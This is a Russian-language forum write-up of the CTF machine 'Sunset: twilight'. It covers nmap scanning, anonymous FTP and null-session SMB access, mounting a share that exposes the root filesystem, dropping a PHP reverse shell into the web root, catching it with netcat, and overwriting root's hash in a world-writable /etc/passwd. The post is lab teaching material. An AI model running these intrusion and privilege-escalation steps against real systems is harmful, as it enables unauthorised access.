• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF CTF Sunset: twilight

Qulan

Red Team
06.12.2020
171
513
BIT
371
Приветствую!

В продолжение цикла статей по CTF, представляю обзор моего прохождения коробки из списка Offensive Security.

Name: Sunset: twilight
Offensive Security Level : Easy
Author Level: Easy/Intermediate


Машина впринципе оказалась достаточно простой, но при этом были моменты когда я понимал что она хочет моей крови. Пройти удалось без подсказок и как я потом понял, альтернативным методом. Я не знаю, возможно автор специально дал возможность использовать иные методы для прохождения, а может это просто ошибка автора.

Вообщем поехали...

Загружаю образ VirtualBox и первым делом смотрю какой адрес выдан машине:

nmap -sn 192.168.1.1/24

Как только получен адресс, сканирую на предмет открытых портов, служб. сервисов, их версий. версии ОС и заоодно запущу необходимые скрипты:

nmap -A -p- 192.168.1.5 -vv

Получаю вот такой список:

Код:
└──╼ #nmap -A -p- 192.168.1.15
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-05 10:50 EET
Nmap scan report for 192.168.1.15
Host is up (0.00025s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 43:e9:45:ec:f4:5b:ed:e9:64:47:43:43:39:96:9d:c9 (RSA)
|   256 ed:67:ad:31:04:17:ef:cf:75:02:05:db:88:94:97:a0 (ECDSA)
|_  256 ed:41:e5:d1:b2:23:2c:d5:90:59:2a:37:8b:da:31:c1 (ED25519)
25/tcp    open  smtp        Exim smtpd 4.92
| smtp-commands: twilight Hello nmap.scanme.org [192.168.1.6], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp    open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp  open  ftp         pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root           35 Jul 16  2020 22253251-65325.twilight
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.15:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
3306/tcp  open  mysql       MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
|   Thread ID: 37
|   Capabilities flags: 63486
|   Some Capabilities: DontAllowDatabaseTableColumn, SupportsCompression, Support41Auth, Speaks41ProtocolNew, LongColumnFlag, SupportsTransactions, Speaks41ProtocolOld, IgnoreSigpipes, FoundRows, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ConnectWithDatabase, ODBCClient, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: g!inmZZ32@,WU$PI]xbb
|_  Auth Plugin Name: mysql_native_password
8080/tcp  open  http        PHP cli server 5.5 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Login - powered by Easy File Sharing Web Server
63525/tcp open  http        PHP cli server 5.5 or later
|_http-title: Login - powered by Easy File Sharing Web Server
MAC Address: 08:00:27:07:7D:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: twilight; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: TWILIGHT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: twilight
|   NetBIOS computer name: TWILIGHT\x00
|   Domain name: \x00
|   FQDN: twilight
|_  System time: 2021-03-05T03:51:25-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-03-05T08:51:24
|_  start_date: N/A

И так что мы имеем? А имеем мы достаточно, чтоб потерятся во всем этом:

Код:
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    open  smtp        Exim smtpd 4.92
80/tcp    open  http        Apache httpd 2.4.38 ((Debian))
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp  open  ftp         pyftpdlib 1.5.6
3306/tcp  open  mysql       MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
8080/tcp  open  http        PHP cli server 5.5 or later
63525/tcp open  http        PHP cli server 5.5 or later


Сразу думаю о том, куда идти впервую очередь. Что я могу проверить очень быстро так это 2121 порт с висячим там FTP:

Вижу что возможна сессия от имени anonymous:

Код:
2121/tcp  open  ftp         pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root           35 Jul 16  2020 22253251-65325.twilight
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.15:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.


Пробую подключится под:
anonymous : ‘’
anonymous : anonymous


Код:
└──╼ #ftp 192.168.1.5 2121
Connected to 192.168.1.5.
220 pyftpdlib 1.5.6 ready.
Name (192.168.1.5:qulan): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

И с первого же раз я получаю доступ. Смотрю что внутри:

Код:
ftp> dir
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root           35 Jul 16  2020 22253251-65325.twilight
226 Transfer complete.

Тяну файл к себе:

Код:
ftp> get 22253251-65325.twilight
local: 22253251-65325.twilight remote: 22253251-65325.twilight
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
35 bytes received in 0.02 secs (2.2457 kB/s)

Супер, давайте смотреть что внутри:

Код:
└──╼ #cat 22253251-65325.twilight
Sg?~;
dg
14
  V+Y<(^\4cdUpv7 -N'z2

Эммм... Что за инопланетная письменность? Беру строку V+Y<(^\4cdUpv7 -N'z2 и скармлеваю Гуглу )))
1615056256100.png


Из этой затеи нечего не вышло. Смотрю результаты сканирования и принемаю решение идти на 139.445 порты к SMB

Провожу перечесление enum4linux'ом:

Код:
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)

Код:
└──╼ #enum4linux -A 192.168.1.5

 ==========================
|    Target Information    |
 ==========================
Target ........... 192.168.1.5
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================
|    Enumerating Workgroup/Domain on 192.168.1.5    |
 ====================================================

 =====================================
|    Session Check on 192.168.1.5    |
 =====================================
[+] Server 192.168.1.5 allows sessions using username '', password ''


 ======================================
|    OS information on 192.168.1.5    |
 ======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.1.15 from smbclient:
[+] Got OS info for 192.168.1.15 from srvinfo:
    TWILIGHT       Wk Sv PrQ Unx NT SNT Samba 4.9.5-Debian
    platform_id     :    500
    os version      :    6.1
    server type     :    0x809a03


 =========================================
|    Share Enumeration on 192.168.1.5    |
 =========================================

    Sharename       Type      Comment
    ---------       ----      -------
    WRKSHARE        Disk      Workplace Share. Do not access if not an employee.
    print$          Disk      Printer Drivers
IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 192.168.1.15
//192.168.1.5/WRKSHARE    Mapping: OK, Listing: OK
//192.168.1.5/print$    Mapping: DENIED, Listing: N/A
//192.168.1.5/IPC$    [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*


 =======================================================================
|    Users on 192.168.1.5 via RID cycling (RIDS: 500-550,1000-1050)    |
 =======================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2873257265-3368159169-400567825
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-2873257265-3368159169-400567825 and logon username '', password ''
S-1-5-21-2873257265-3368159169-400567825-500 *unknown*\*unknown* (8)
S-1-5-21-2873257265-3368159169-400567825-501 TWILIGHT\nobody (Local User)
S-1-5-21-2873257265-3368159169-400567825-502 *unknown*\*unknown* (8)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\miguel (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-537 *unknown*\*unknown* (8)
S-1-5-32-538 *unknown*\*unknown* (8)
S-1-5-32-539 *unknown*\*unknown* (8)
S-1-5-32-540 *unknown*\*unknown* (8)
S-1-5-32-541 *unknown*\*unknown* (8)
S-1-5-32-542 *unknown*\*unknown* (8)
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)


Выделяю для себя интересные вещи:

[+] Server 192.168.1.5 allows sessions using username '', password '' - есть возможность установить сессию с нудевым пользователем
//192.168.1.5/WRKSHARE Mapping: OK, Listing: OK - открыта директория WRKSHARE
S-1-22-1-1000 Unix User\miguel (Local User) - в системе есть юзер miguel

Ок, поробуем войти по NULL юзером:

и все среботало

Код:
└──╼ #smbclient //192.168.1.5/WRKSHARE -U '' -p 139
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jul  9 01:57:09 2020
  ..                                  D        0  Thu Jul  9 01:57:09 2020
  root                                D        0  Thu Jul 16 16:50:46 2020
  run                                 D        0  Sat Mar  6 10:10:52 2021
  lost+found                          D        0  Thu Jul  9 01:08:46 2020
  initrd.img                          N 25814661  Thu Jul  9 01:58:16 2020
  etc                                 D        0  Sat Mar  6 10:10:33 2021
  proc                                D        0  Sat Mar  6 10:11:05 2021
  vmlinuz                             N  5274864  Sun Jun  7 18:42:22 2020
  initrd.img.old                      N 25807574  Thu Jul  9 01:58:02 2020
  opt                                 D        0  Thu Jul  9 01:09:01 2020
  srv                                 D        0  Thu Jul  9 01:09:01 2020
  sys                                 D        0  Sat Mar  6 11:34:39 2021
  lib64                               D        0  Thu Jul  9 01:09:08 2020
  sbin                                D        0  Thu Jul 16 16:53:39 2020
  media                               D        0  Thu Jul  9 01:08:46 2020
  bin                                 D        0  Thu Jul 16 15:22:20 2020
  usr                                 D        0  Thu Jul  9 01:09:01 2020
  lib32                               D        0  Thu Jul  9 01:08:56 2020
  dev                                 D        0  Sat Mar  6 10:10:23 2021
  lib                                 D        0  Thu Jul  9 05:20:29 2020
  vmlinuz.old                         N  5274864  Mon Apr 27 08:05:39 2020
  libx32                              D        0  Thu Jul  9 01:08:56 2020
  home                                D        0  Thu Jul  9 02:15:56 2020
  mnt                                 D        0  Thu Jul  9 01:09:01 2020
  var                                 D        0  Thu Jul  9 03:03:27 2020
  boot                                D        0  Thu Jul  9 02:06:53 2020
  tmp                                 D        0  Sat Mar  6 11:39:02 2021

        7158264 blocks of size 1024. 4241496 blocks available
smb: \>

// NULL user - это пользователь без имени и пароля //

И так, если вы линуксовод с опытом от пары месяцев, то станет понятно что перед нами корневой каталог системы. Смотреть тут придется много, поэтому принимаю решение смонтировать каталог к себе.

Код:
└──╼ #sudo mount.cifs //192.168.1.5/WRKSHARE /tmp/WRKSHARE -o user=''
Password for root@//192.168.1.5/WRKSHARE:

и следом:

Код:
└──╼ #cd /tmp/WRKSHARE/ && ls -la
total 63488
drwxr-xr-x 2 root root        0 Jul  9  2020 .
drwxrwxrwt 1 root root     1450 Mar  6 11:46 ..
drwxr-xr-x 2 root root        0 Jul 16  2020 bin
drwxr-xr-x 2 root root        0 Jul  9  2020 boot
drwxr-xr-x 2 root root        0 Mar  6 10:10 dev
drwxr-xr-x 2 root root        0 Mar  6 10:10 etc
drwxr-xr-x 2 root root        0 Jul  9  2020 home
-rwxr-xr-x 1 root root 25814661 Jul  9  2020 initrd.img
-rwxr-xr-x 1 root root 25807574 Jul  9  2020 initrd.img.old
drwxr-xr-x 2 root root        0 Jul  9  2020 lib
drwxr-xr-x 2 root root        0 Jul  9  2020 lib32
drwxr-xr-x 2 root root        0 Jul  9  2020 lib64
drwxr-xr-x 2 root root        0 Jul  9  2020 libx32
drwxr-xr-x 2 root root        0 Jul  9  2020 lost+found
drwxr-xr-x 2 root root        0 Jul  9  2020 media
drwxr-xr-x 2 root root        0 Jul  9  2020 mnt
drwxr-xr-x 2 root root        0 Jul  9  2020 opt
drwxr-xr-x 2 root root        0 Mar  6 10:11 proc
drwxr-xr-x 2 root root        0 Jul 16  2020 root
drwxr-xr-x 2 root root        0 Mar  6 10:10 run
drwxr-xr-x 2 root root        0 Jul 16  2020 sbin
drwxr-xr-x 2 root root        0 Jul  9  2020 srv
drwxr-xr-x 2 root root        0 Mar  6 11:34 sys
drwxr-xr-x 2 root root        0 Mar  6 11:39 tmp
drwxr-xr-x 2 root root        0 Jul  9  2020 usr
drwxr-xr-x 2 root root        0 Jul  9  2020 var
-rwxr-xr-x 1 root root  5274864 Jun  7  2020 vmlinuz
-rwxr-xr-x 1 root root  5274864 Apr 27  2020 vmlinuz.old

Прекрсно, теперь можем нормально передвигаться по каталогу. Сразу пробую пройти в home/ :

Код:
└──╼ #ll
total 0
drwxr-xr-x 2 root root 0 Jul 16  2020 miguel

Ага, вот и юзер))) Топаем в его каталог:

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/home/miguel]
└──╼ #ls -la
ls: reading directory '.': Permission denied
total 0

Опля... Закрыто... Хм, тогда пойдем дальше. Пробую etc/ :

Код:
└──╼ #ll
total 73M
-rwxr-xr-x 1 root root 3.0K Jul  9  2020 adduser.conf
-rwxr-xr-x 1 root root   44 Jul  9  2020 adjtime
-rwxr-xr-x 1 root root  198 Jul  9  2020 aliases
drwxr-xr-x 2 root root    0 Jul 16  2020 alternatives
-rwxr-xr-x 1 root root  401 May 19  2019 anacrontab
drwxr-xr-x 2 root root    0 Jul  9  2020 apache2
drwxr-xr-x 2 root root    0 Jul  9  2020 apparmor
drwxr-xr-x 2 root root    0 Jul  9  2020 apparmor.d
drwxr-xr-x 2 root root    0 Jul  9  2020 apt
drwxr-xr-x 2 root root    0 Jul  9  2020 avahi
-rwxr-xr-x 1 root root 2.0K Apr 18  2019 bash.bashrc
-rwxr-xr-x 1 root root  367 Mar  2  2018 bindresvport.blacklist
drwxr-xr-x 2 root root    0 Jan 29  2020 binfmt.d
drwxr-xr-x 2 root root    0 Jul  9  2020 bluetooth
drwxr-xr-x 2 root root    0 Jul  9  2020 ca-certificates

// ------------------------- //

Отлично, а почитать passwd файл дашь?

Код:
└──╼ #cat /tmp/WRKSHARE/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin
mysql:x:108:118:MySQL Server,,,:/nonexistent:/bin/false

Вообще гуд, прям все идет как надо ))) Выделяю для себя интересную информацию по пользователях:

root - супер юзер
www-data - пользователь вэб сервера
miguel - пользователь сис-мы
Еще покопавшись минут 30, я понял пора уходить. Нужно взять хоть какого-то пльзователя. Снова смотрю отчет по сканированию и рtшаю идти на 80 порт (http)

Перехожу по адрессу [URL]http://192.168.1.5[/URL] и вижу это:
1615056569100.png

Угу, это какая-то галлерея и написано что файлы будут хранится в базе. Наверное той самой Mysql на 3306-м порту. Так как передомной сайт, время запускать gobuster'а:
└──╼ #gobuster dir -u [URL]http://192.168.1.5/[/URL] -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 60
И пока он напрягается, похожу по ссылкам на сайте, а тут их аж две )))
Кликаю на pictures и о Боги... сообщение об ошибке:
1615056673000.png

оворят что мол ошибка в синтаксисе. Проверьте и исправте... Где проверить? Где исправить? не ясно вообщем... Кликаю на ссылку со сменой языка иии... вообще пусто! Жмякаю View page source и тоже пусто ((( Была надежда что там есть закоментированая строка с подсказкой или еще чем нибуть. Но нет... Вообщем просто жду gobuster'а.
1615056752100.png

Бустер справился, а я погнал в каталог /gallery и вижу:
1615056774000.png


Форма для загрузки файлов. Тут я смыкаю что скорее всего уязвимость будет связанна с Upload Files. Если это так, то нам нужно:

1. Определить есть ли система фильтрации
2. Обойти эту систему и впихнуть shell
3. Найти где лежат загруженные файлы
4. Запустить наш реверс шелл

Определяем есть ли система фильтрации

Проходя самостоятельное обучение по уязвимостям в вебе, я проходил раздел с фильтрацией. Из пройденного материала я знаю, что фильтрация бывает двух типов:

• Фильтрация на стороне клиента
• Фильтрация на стороне сервера
• Обе сразу


Ок, приступим. Подключаю к делу Burp Suite. Мне нужно отловить ответ при загрузке файла. В данный момент не важно какого именно, я использую текстовый файл с TXT.
1615056855600.png

Ответ сервера дает мне сразу два ответа на вопросы:

• Есть ли фильтрация на стороне клиента - НЕТ
• Какой тип файлов можно загрузить через форму - Only jpeg images are allowed!

Хорошо, значит мы имеем фильтрацию на стороне сервера. Опять же, возвращаясь к уже изученному материалу, я знаю что есть несколько типов фильтрации на стороне сервера:

• Фильтрация по типу файла
• Фильтрация по размеру файла
• Фильтрация по имени файла
• Фильтрация по Magic Number
• Фильтрация по MIME


Беремся за дело!

Беру любую картинку в сети с расширением jpeg.
1615056926400.png

// Люблю я песиков... ))) //

И пробую загрузить фото.
1615056974000.png

Мы видим что загрузка прошла удачно, но прежде чем перейти к определению типов фильтрации, мы должны понять где хранятся наши файлы. Ведь в случае успеха нам потребуется как-то запустить шелл!

Снова зову на помошь gobuster'a, но в этот раз ищу скрытые директории по адрессу:

└──╼ #gobuster dir -u [URL]http://192.168.1.5/gallery/[/URL] -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 60
1615057030300.png

И найденны еще четыре директории. Когда я загрузил файл, было видно что сервер как-то обрабатывает этот файл и делает несколько версий:

  • dog.jpeg (6023 bytes) was stored!
  • normal_dog.jpeg (232054 bytes) was stored!
  • thumb_dog.jpeg (16281 bytes) was stored!

И я понимаю что оригинал моего файла лежит в папке /original. Откроем ее:
1615057089900.png


И вот тот момент, который сбил меня с этого пути. Я забыл о том, что папка может быть закрытой, но нечего не мешает обратиться к файлу в ней путем:

http://192.168.1.5/original/myfile

Если бы я это вспомнил, то мне осталось бы только обойти фильтрацию и загрузить шелл. Но я посему-то принял это за то, что я не могу найти папку с загруженным файлом и решил вернуться в начало. (Как оказалось тоже идея)

Я решил, что мне требуется исправить синтаксис чтоб картинка отображалась по адрессу и я застрял на долго...

Как ни странно, решить задачу помог ребенок, который меня отвлек. Когда я будучи отвлеченным играл с ребенком, мне прилетело решение!

Мой внутрений голос:
- Мужик, что ты городишь? У тебя же смонтирован раздел с корневым каталогом. Иди в /var/www !!!

Усевшись за компьютер я вошел на смонтированный раздел и полез в директорию где лежит сайт:

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html]
└──╼ #ll
total 3.0M
-rwxr-xr-x 1 root root 152 Jul 16  2020 current.php
drwxr-xr-x 2 root root   0 Mar  5 20:44 gallery
-rwxr-xr-x 1 root root 228 Jul 16  2020 index.php
-rwxr-xr-x 1 root root  58 Jul 16  2020 lang.php
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html]
└──╼ #

Нахожу тот самый current.php который писал об ошибке которую требовалось исправить:

Код:
└──╼ #cat current.php
Error: You have an error in your mysql syntax; check the manual that corresponds to your mysql server for the right syntax to use near " on parameter 1

Понимаю что это даже не скрипт. Иду в раздел /gallery:

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html/gallery]
└──╼ #ll
total 152M
-rwxr-xr-x 1 root root 148M Mar  5 21:03 hydra.restore
-rwxr-xr-x 1 root root  601 Mar 18  2008 index.php
-rwxr-xr-x 1 root root 8.8K Mar 19  2008 maxImageUpload.class.php
-rwxr-xr-x 1 root root  11K Dec 28  2010 maxImageUpload.zip
drwxr-xr-x 2 root root    0 Mar  5 14:08 normal
drwxr-xr-x 2 root root    0 Mar  5 14:08 original
-rwxr-xr-x 1 root root  534 Mar 19  2008 readme.txt
drwxr-xr-x 2 root root    0 Mar 18  2008 style
drwxr-xr-x 2 root root    0 Mar  5 14:08 thumbnail


Смотрю index.php:

Код:
└──╼ #cat index.php
<?php require_once("maxImageUpload.class.php"); ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="">http://www.w3.org/1999/xhtml">
<head>
   <meta data-fr-http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>Max's Image Uploader</title>
   <link href="style/style.css" rel="stylesheet" type="text/css" />
</head>

<body>
<?php
    $myImageUpload = new maxImageUpload();
    //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
    $myImageUpload->uploadImage();
?>


Вижу скрипт. Обращаю внимание на то, что переменной $myImageUpload присваивают значение функции maxImageUpload().

-rwxr-xr-x 1 root root 8.8K Mar 19 2008 maxImageUpload.class.php

Открываю и читаю... Нахожу код фильтра:
1615057260500.png

И в этот самый момент ко мне в голову врывается мысль: - Если ты можешь это редактировать, так может можно сюда залит файл?
Твою жеж дивизию...
Топаю к файлу с шеллом. Настраиваю его и :

Код:
┌─[root@parrot]─[/opt/shell]
└──╼ #cp reverse_sh.php /tmp/WRKSHARE/var/www/html/ && ls -l /tmp/WRKSHARE/var/www/html/
total 4096
-rwxr-xr-x 1 root root  152 Jul 16  2020 current.php
drwxr-xr-x 2 root root    0 Mar  6 13:10 gallery
-rwxr-xr-x 1 root root  228 Jul 16  2020 index.php
-rwxr-xr-x 1 root root   58 Jul 16  2020 lang.php
-rwxr-xr-x 1 root root 5490 Mar  6 13:15 reverse_sh.php

Вуаля, шелл залит...

Понимая что залил его в корень сайта, иду на и ставлю листенера:

Код:
└──╼ #nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.5 35290
Linux twilight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
 06:18:16 up  3:08,  0 users,  load average: 0.00, 0.02, 0.97
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Бам и я в системе!

И так время для повышения прав. Первым делом смотрю cron:

1615057350300.png


Пусто ...

Смотрю возможность доступа к /etc/passwd

Код:
$ ls -l passwd
-rwxrwxrwx 1 root root 1594 Mar  6 04:57 passwd

Опля... Добрый вечер... Файл открыт для записи, а это говорит о том, что мы можем поменять пароль на root или создать своего супер пользователя.

Иду к себе и запуская openssl:

Код:
└──╼ #openssl passwd -1 -salt new test123
$1$new$5.ite0q7hk9LLso7LljIk/

Получил хеш пароля test123, теперь нужно отредактировать файл /etc/passwd. Скажу сразу, через коману echo “hash” >> /etc/passwd выполнить задачу не удасться, так как в файл добавится все, кроме самого хеша. Почему так, я не разбирался еще, но как-то попробую узнать. Поэто принемаю решение использовать любой из доступных редакторов:

При попытке вызвать nano:

Код:
$ nano /etc/passwd
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

Press Enter to continue

Error opening terminal: unknown.

Пытаюсь создать /var/www/.local/share/nano/ :

$
Код:
mkdir .local
mkdir: cannot create directory '.local': Permission denied

Пробую vim:

Код:
vim /etc/passwd
/bin/sh: 6: vim: not found
$ /usr/bin/vim /etc/passwd
/bin/sh: 7: /usr/bin/vim: not found

Хм... Напрягся. Ок, а vi :
1615057442000.png


vi запустился, но из-за нестабильной оболочки я ничего не могу отредактировать. Печаль (((

Начинаю активно гуглить на предмет редактирования файла без редактора. Может есть команда которая выручит. Минут через 30 -40 запрос вида “how to edit file whithout vim or nano” начал давайть результаты. Вариантов как оказалось масса, но я наткнулся на пояснение где упоминался монтированый раздел. И я понял, что я могу просто отредактировать файл из своей оболочки.

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/etc]
└──╼ #ll
total 73M
-rwxr-xr-x 1 root root 3.0K Jul  9  2020 adduser.conf
-rwxr-xr-x 1 root root   44 Jul  9  2020 adjtime
// ---------------- //

Я в каталоге. Важное пояснение, если ввести nano(vim,vi) или что-то еще для открытия или считывания файла, крайне важно вводить полный путь к файлу, так как ваша оболочка подумает что мы хотим редактировать/прочитать наш файл )))

Ввожу nano /tmp/WRKSHARE/etc/passwd и открываю файл:
1615057509400.png

Теперь осталось выбрать что я хочу, заменить пароль у root'a или создать своего ))) Я решил просто заменить пароль:

1615057536000.png

После сохранения пробую su root:
1615057557200.png

Booommm!!! Теперь пойду соберу флаги:

Код:
cd /home
ls -la
total 12
drwxr-xr-x  3 root   root   4096 Jul  8  2020 .
drwxr-xr-x 18 root   root   4096 Jul  8  2020 ..
drwx------  7 miguel miguel 4096 Jul 16  2020 miguel
cd miguel
ls -la
total 52
drwx------ 7 miguel miguel 4096 Jul 16  2020 .
drwxr-xr-x 3 root   root   4096 Jul  8  2020 ..
lrwxrwxrwx 1 root   root      9 Jul 16  2020 .bash_history -> /dev/null
-rwx------ 1 miguel miguel  220 Jul  8  2020 .bash_logout
-rwx------ 1 miguel miguel 3526 Jul  8  2020 .bashrc
drwxr-xr-x 2 root   root   4096 Jul 16  2020 efs
drwxr-xr-x 2 miguel miguel 4096 Jul 16  2020 efs2
drwxr-xr-x 2 root   root   4096 Jul 16  2020 ftp
drwx------ 3 miguel miguel 4096 Jul 16  2020 .gnupg
drwxr-xr-x 3 miguel miguel 4096 Jul 16  2020 .local
-rwx------ 1 miguel miguel  807 Jul  8  2020 .profile
-rw-r--r-- 1 miguel miguel   66 Jul 16  2020 .selected_editor
-rw-r--r-- 1 root   root     33 Jul 16  2020 user.txt
-rw-r--r-- 1 miguel miguel  173 Jul 16  2020 .wget-hsts
cat user.txt
6b963e69f7b4a6205513973e4cace702

и флаг root:

Код:
cd /root
ls -la
total 36
drwx------  5 root root 4096 Jul 16  2020 .
drwxr-xr-x 18 root root 4096 Jul  8  2020 ..
lrwxrwxrwx  1 root root    9 Jul 16  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Jul 16  2020 .cache
drwx------  3 root root 4096 Jul 15  2020 .gnupg
drwxr-xr-x  3 root root 4096 Jul  8  2020 .local
lrwxrwxrwx  1 root root    9 Jul 16  2020 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  238 Jul 16  2020 root.txt
-rw-r--r--  1 root root  212 Jul 15  2020 .wget-hsts
